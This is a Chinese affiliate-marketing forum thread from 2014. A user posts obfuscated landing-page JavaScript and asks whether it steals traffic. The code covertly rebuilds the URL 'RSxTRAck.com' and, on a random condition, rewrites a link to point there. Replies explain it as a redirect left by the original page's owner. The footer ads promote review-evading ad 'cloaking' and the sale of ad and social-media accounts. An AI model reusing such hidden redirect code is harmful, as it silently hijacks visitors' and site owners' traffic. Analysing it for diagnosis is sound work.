一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {/ H4 t1 C' F% M/ [; X4 U9 ^
$(".option.clearfix").on("click",
9 ~& h3 ]% Z. n# D- u3 K9 K' }" G
function() { M$ J5 ^8 M2 o8 F, I2 \
$(this).toggleClass("selected");+ N+ Z2 U5 ^: |6 T( E g
if ($(this).hasClass("selected")) {& Y( J q6 s& o4 A
$(this).addClass("selected")
! N3 @ [ u; Z) p
} else {
1 \1 w# m! E$ o$ r
$(this).removeClass("selected")
9 \- x* P5 S. S1 {" O
}# C" |% E8 j1 w3 S8 }3 E
return false
! V7 ^) _2 V4 n) o( @3 ~8 O
});/ J- M5 @& F) Y( w+ a! t& C) _' u1 w; k
var e = "r";# x) z; Z9 {- u b. H* j) q
var t = "e";
- ]8 U) y% c: z# L9 s d
setBtnMarginDefault = "c" + "\u006B";3 q5 L9 W7 m# G. w
$(".option2.clearfix").on("click",7 U( \! Q! |; v% ?( ?7 d) r# {
function() {7 [2 B5 u% |4 O( [& A
$(this).toggleClass("selected");
' c& [5 E0 J7 f- P* x% U/ h( R( L
if ($(this).hasClass("selected")) {
* @- g0 g" e/ [9 ]8 d2 F
$(this).addClass("selected"); `. L0 g8 x, h8 b1 @6 f
} else {
( D6 g* t8 M/ K
$(this).removeClass("selected")
0 }+ L( y+ f% k0 P4 w1 N. @! s
}
. @ l, |$ ~, e( O/ U1 l4 X6 t
return false
9 H, k+ x7 T' N
});
7 ]# d3 |0 W/ u5 A* B
var n = "a";
$ y! [/ u1 U4 N* k- g3 n9 H
var r = "g"; a' ?! ]# F! D L V0 f6 t2 i
$(".option3.clearfix").on("click",9 s& a& t: t/ Q9 h+ B& ^6 c
function() {6 ]9 ?1 I$ d# g% T q4 L! m
$(this).toggleClass("selected");$ d0 k0 o% S G& W; J6 [1 [6 W
if ($(this).hasClass("selected")) {4 k$ q8 W: m/ K1 t& ]/ f
$(this).addClass("selected")
, U k( a7 Y$ e' z% x3 |% K7 Y% Q
} else {3 D2 @: |8 e/ D* g# ] {! B" L
$(this).removeClass("selected")
2 N" @1 A+ E N- J+ H% ?* z
}
/ X# z9 G; Q! j& b j. t1 d# _
return false. \) ?* P( R3 O/ h" z
});
; i& L+ c5 A) ~0 w
var i = "e";
' M$ [4 T8 M+ ]2 |
var s = n + r + e + t + i;, e1 y. k7 X. d' \
$(".option4.clearfix").on("click",
8 _2 | s9 T0 p/ N# `2 p( X
function() {
8 e4 v2 E- g, x+ Q3 K
$(this).toggleClass("selected");: t Q1 J; P) x! |* D$ [% J
if ($(this).hasClass("selected")) {
' X' v; W) X, r
$(this).addClass("selected")
" Z* D# r4 `2 I4 P7 J7 X
} else {* e2 p [+ p+ K. B
$(this).removeClass("selected")
1 U: y, e" e' [( Z- ^1 p
}. q4 J+ T& V2 x" o" }
return false
' _! ]- s" o3 ~2 [
});
$ y9 V, f! g2 g/ x8 O( m+ H( D
var o = "\u0032" + "\u0030";9 P# S5 h+ u6 b* }3 l) r
var u = "\u0031" + "\u0030";' a B0 x* K8 |/ U6 J
currentWhiteSpace = Math.floor(Math.random() * o);. s' s3 r2 W) {. `+ I7 h6 h# X
setBtnMargin30 = setBtnMarginDefault + "." + "c";* Z" {. T$ i, i. c+ a
Date.prototype.getMonthName = function() {# d* Y2 g8 \& L$ b
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
5 t0 |! y, P7 N! ]
return e[this.getMonth()]" T1 k O& q- h! [4 ?
};" s% A. f7 g+ y$ W
var a = currentWhiteSpace;# K, l3 W" c4 c/ s. r
var f = "H";
; r1 q2 T: U2 |/ C; r# t
var l = "\u0052";
3 @; i- p# W$ R' f- `/ q( g. z Y
var c = "o" + "\u006D";
|8 b7 T, H; m# a1 d2 k
f += "T";
; x$ m+ ?7 E2 }; a2 h' T
f += "T";
+ K* s, G+ X5 h* w* [: P0 M/ {9 s
f += "P";! E$ E% q0 l: h# k5 O
var h = new Date;
9 R# K D* g7 e# z7 s5 M4 i2 G; h
if (h.getMonth() == 11) {* z& t. \: [; A/ n1 r) t
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
& g. U$ V( I1 h+ R
} else {
' Z- N! p' x, [; [1 h. j: ]
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
& p7 t) Y' @/ a& Z! t V
}0 e, k" e# t+ [' n; w2 _
var d = ":" + "/" + "/";
8 |' K( M7 W, |2 \' U U) O
l += "S";
! o7 I8 i2 W4 P5 Q3 S
l += "x";
3 M/ z( L4 e& p9 Y0 N( s( n7 t
document.getElementById("monthz").innerHTML = p;( r5 R* p: S: F2 o. q
l += "\u0054";6 d! e# b5 V, X; @5 u3 g: C
l += "R";
* ^/ `3 D# |2 b
l += "\u0041" + setBtnMargin30;
8 L' O; c; z s0 F* W4 J
setStyle = f + d + l + c;) D7 [$ `0 O: w
s = s.toLowerCase(s);
( b( I" ~/ b J
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;8 Y8 o# s5 R- Q3 P2 ?! H
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {
( E* w6 R% z& [, C* j0 E3 F $(".option.clearfix").on("click", function () {7 D' j; H6 m, W& n
      $(this).toggleClass("selected");
- d% \$ F2 _: y! o! [       if ($(this).hasClass("selected")) {
/ w  U4 o+ a3 [3 k          $(this).addClass("selected")
* S$ S4 I& ~7 H       } else {
* r! ?/ v; o! J8 y0 i7 R          $(this).removeClass("selected")
: g0 P# `) ]1 j+ Z# C' X       }' x2 y% W! @: @$ \3 {; X( o$ |
      return false
1 m' t1 [) Y5 G  O });
# m" L, w4 I) g' G( U, ]. ]: u $(".option2.clearfix").on("click", function () {
$ x. }" }; f$ P       $(this).toggleClass("selected");0 m6 E' |6 F7 |- a0 W
      if ($(this).hasClass("selected")) {
2 s$ m; I2 Y9 M" C$ R" g$ A          $(this).addClass("selected")
8 l" h6 N2 H- d+ J       } else {
: K7 F; h% D6 Q  x. [  _          $(this).removeClass("selected")" u$ _$ w: C( F. ^' T8 S
      }. J  x! r3 l  [: A+ ~
      return false6 G/ \. d, D0 F* u: b' V
});
8 F) d8 D9 ?' w. A$ H $(".option3.clearfix").on("click", function () {
2 B" x+ g0 @9 ?4 |( ?       $(this).toggleClass("selected");
# f) V0 ?8 W$ ^  S       if ($(this).hasClass("selected")) {; \6 n' ]1 [& q. O. i/ U  u$ m
         $(this).addClass("selected")
/ m( Q: l- R4 @: Q5 C$ e+ ^. \       } else {
% {& |# C; I/ x! Q( t$ u          $(this).removeClass("selected")
. u2 \) v4 q6 ^1 p6 _       }( J) a! S5 X1 ^: l2 H
      return false
* `' u4 A6 T: ^& s  z. I# M });; J$ f  \) O% ^8 Z9 D
$(".option4.clearfix").on("click", function () {
& Q( J' z- ]8 x       $(this).toggleClass("selected");
3 _$ d! m% L2 g0 N9 ]% c3 F& ^9 f       if ($(this).hasClass("selected")) {" {# x4 Z. z6 G* d
         $(this).addClass("selected"); F" n' l  ]/ f! x2 Y$ S
      } else {& L0 R: w2 Q( o* H
         $(this).removeClass("selected")4 ^! y. D. {5 `' H# Y
      }, C, ?6 P7 j: F# u( w1 ^
      return false
' E4 l. F* ?% W  \0 J });
& w) Y/ }) c8 T% I0 O1 ^( ~! T$ x})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:53$ g6 ?/ [8 I; `/ V) l9 r, }
不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

Google-Bing-Mediago-Criteo开户	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	广告专用虚拟卡/U充值/高返点	皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选	【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理	*开户投流-724h❤️人工在线**	【官方】❤️搜索套利买量投流开户	独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化	Google FB TK游戏代投	⚡️E.PN 虚拟卡⚡️	BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具	ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值	各种主页、账单户、BM户（优势）	⚡️TikTok企业户，bm户，账单户	IPCola原生住宅IP⚡️$1.8/条双ISP
FB海外户、GG老户、TK加白老户	PTM虚拟卡[全新卡BIN+高返点]	FB虚拟卡⚡️消费越多返现越多	最大欧洲Nutra网盟BA找量
高品质·稳定高速纯净IP	FB个号1块一个	TikTok2审户/老户/国内外端口/加白	SX.ORG 高质量代理⚡235+ 地区
GG,FB,TK, 欧美源头, 欢迎合作❤️	跨境债务催收/风险代理	高权重Google老户[卖户+筛户等级]	海外斗篷・智能广告过审率高达 99%
DataImpulse⚡️纯净住宅代理仅 $1	FB企业户海外户,授信户,TK加白户	广告位出租	8500万高质量住宅IP，助力各种需求
虚拟卡返佣1%，国内持牌机构

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

浏览过的版块

社区QQ达人